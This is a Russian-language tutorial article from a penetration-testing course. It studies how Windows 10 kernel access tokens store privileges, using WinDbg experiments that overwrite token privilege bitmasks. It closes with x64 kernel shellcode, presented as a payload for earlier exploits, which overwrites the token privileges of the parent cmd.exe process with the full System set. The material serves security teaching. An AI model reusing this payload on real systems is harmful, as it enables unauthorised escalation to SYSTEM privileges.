Эксперт OTUS — Александр Колесников поделился с нами полезной статьёй, которую написал специально для студентов курса "Пентест. Практика тестирования на проникновение".

Мы же в свою очередь приглашаем всех желающих принять участие в бесплатном демо-уроке на тему: "Windows AD сбор информации, эскалация привилегий. Эксплойты и уязвимости последних 5ти лет."


Предыдущая статья рассказывала о том, как эксплойты используют технику копирования токена для повышения привилегий. В этой статье мы попытаемся рассмотреть еще одну технику модификации токенов, а также постараемся узнать, как задаются привилегии, которые помещаются в Primary Token.

Все примеры в статье имеют ознакомительный характер, и если вы захотите повторить эксперименты, то используйте виртуальную машину, так как некоторые из действий могут вывести вашу рабочую машину из строя. Все эксперименты выполняются только для исследовательских задач.

Настройка тестового стенда

Для экспериментов подойдет пара виртуальных машин, которые работают по NAT сети. Две потому что нет другого способа проводить ядерную отладку операционной системы. А NAT сеть, чтобы были отладочные символы, с ними проще и быстрее искать данные без исходного кода. Настройка отладчика есть на просторах сети, но все же ниже будет пару строк как это делается для операционной системы Windows 10 1909.

1. Устанавливаем отладчик. Для операционной системы Windows есть только Windbg Preview,  установим его:

2. Переводим целевую операционную систему в отладочный режим:

Перезагружаем систему. И открываем вторую машину, которая будет содержать отладчик:

После перезагрузки системы:

Так как это Windbg Preview все настройки по загрузке и хранению отладочных символов, были выполнены автоматически. Нам остается только дождаться когда они будут полностью загружены. После этого начинаем наше исследование.

Token

Официальная документация гласит, что основные данные, которые существуют в операционной системе касательно привилегий пользователя хранятся в специальной структуре, которая называется Primary Token. В прошлой статье мы не останавливались подробно на части, которая описывается Se* привилегиями. Наиболее интересные привилегии, которые могут быть использованы для эскалации привилегий, вывода из строя ОС:

  • SeAssignPrimaryToken

  • SeAudit

  • SeBackup

  • SeChangeNotify

  • SeCreateToken

  • SeDebug

  • SeLoadDriver

  • SeLockMemory

  • SeManageVolume

  • SeRestore

  • SeSecurity

  • SeTakeOwnership

Каждая строка это константа, которая определяет, какие привилегии существуют в токене. В операционной системе данный из токена включены в специальную структуру, которая называется “Security Descriptor”:

В качестве подопытного процесса возьмём процесс System. Для получения адреса токена можно ввести следующую команду — dx @$cursession.Processes[4].KernelObject.Token

Токен хранится с использованием EXFAST_REF это означает, что нужно занулить последний байт, чтобы вычислить адрес токена:

Посмотрим полный список групп и привилегий у пользователя System:

Стоит обратить внимание на тот факт, что найти “Security Descriptor” можно за несколько шагов, которые представлены выше на снимке. Полный список информации о привилегиях и группах представлен ниже:

Исследуем, что будет, если мы модифицируем ссылку на токен из отладчика:

Из-за изменения токена на нулевой, произошёл BSOD. В Windows была возможность использовать нулевой токен, но всё закончилось на Windows 10 1607. Был имплементирован механизм, который вызывает BSOD, если ссылка на токен в “Security Descriptor” модифицируется. Анализ дампа показывает, что проблема в испорченном объекте:

А можем ли мы все таки произвести модификацию без BSOD? Попробуем модифицировать так, чтобы осталась возможность работать с ОС. Для проверки попробуем создать условия, при которых токен обычного пользователя включал максимальное количество привилегий:

1.Найдем системный процесс и выясним, какие привилегии у него включены:

2.Пройдем в токен cmd.exe просмотрим текущее значение на включенные права:

3.Модифицируем права. Список прав после модификации:

Модификация прошла успешно, но все равно пользователь не может аттачиться к ряду системных приложений. Из-за того, что у пользователя еще остались ограничения из-за Integrity Levels и дополнительных битов, которые запрещают взаимодействие с процессами.

А можно ли провести выставление конкретных прав у пользователя в дескрипторе? Попробуем определить. В официальной документации указываются только строковые приставления констант, попробуем переписать токен значениями: 0x1

BSOD не произошло, похоже что механизм защиты просматривает только случаи, когда испорчен заголовок объекта. Это хорошо, значит, можно брутить. Первое значение, которое показало какой-то вменяемый результат — 0x100000

В итоге перебора значений были получены следующие данные о константах в токене:

  • SeDebugPrivilege - 0x100000

  • SeAuditPrivilege - 0x200000

  • SeSystemEnvironmentPrivilege - 0x400000

  • SeCreatePermanentPrivilege - 0x010000

  • SeSystemtimePrivilege - 0x001000

  • SeSecurityPrivilege - 0x000100

  • SeLockMemoryPrivilege - 0x000010

Получается, что хранимые привилегии это всего лишь байт в поле из 6 байт. И все действия, которые были проведены в отладчике, могут быть выполнены через shellcode, только нужно учитывать, что в эксперименте мы просто проставляли права как существующие, но для их полноценного использования их нужно еще включить. То есть записать привилегии по адресу SEPTOKEN_PRIVILEGES и _SEPTOKENPRIVILEGES+0x8.

Проведем следующий эксперимент — отнимем привилегии у процесса System и посмотрим, сможем ли мы выполнить операции, которые требуют расширенных привилегий.

В качестве теста была запущена команда netstat -ab, команда успешно отработала. Почему так произошло? Ведь все данные из токена о привилегиях были удалены. Здесь стоит вспомнить, что в ОС Windows привилегии наследуются от группы к пользователю, поэтому пока пользователь System принадлежит группам из списка ниже, он сможет продолжать использовать свои привилегии:

Ну и напоследок, шелкод, который можно использовать в качестве payload для эксплойтов из прошлой статьи:

[BITS 64]

start:
mov r9, [gs:0x188]                ;KPROCESS/currentThread
mov r9, [r9+0x220]                ;EPROCESS смещение к KTHREAD
mov r8, [r9+0x3e8]                ;InheritedFromUniqueProcessId (cmd.exe PID)
mov rax, r9                           
loop1:
  mov rax, [rax + 0x2f0]       
  sub rax, 0x2f0                    ;KPROCESS
  cmp [rax + 0x2e8],r8              ;сравнить ProcessId
  jne loop1                         	  
mov rcx, rax                        ;если найден нужный PID EPROCESS
add rcx, 0x360                        
mov rax, [rcx]                           
and rax, 0xFFFFFFFFFFFFFFF0
mov r8,  0x1e73deff20               ;System набор привилегий
mov [rax+0x48],r8                   ;Перезапись привилегий
ret

Узнать подробнее о курсе "Пентест. Практика тестирования на проникновение".

Смотреть открытый вебинар на тему
"Windows AD сбор информации, эскалация привилегий. Эксплойты и уязвимости последних 5ти лет."


ЗАБРАТЬ СКИДКУ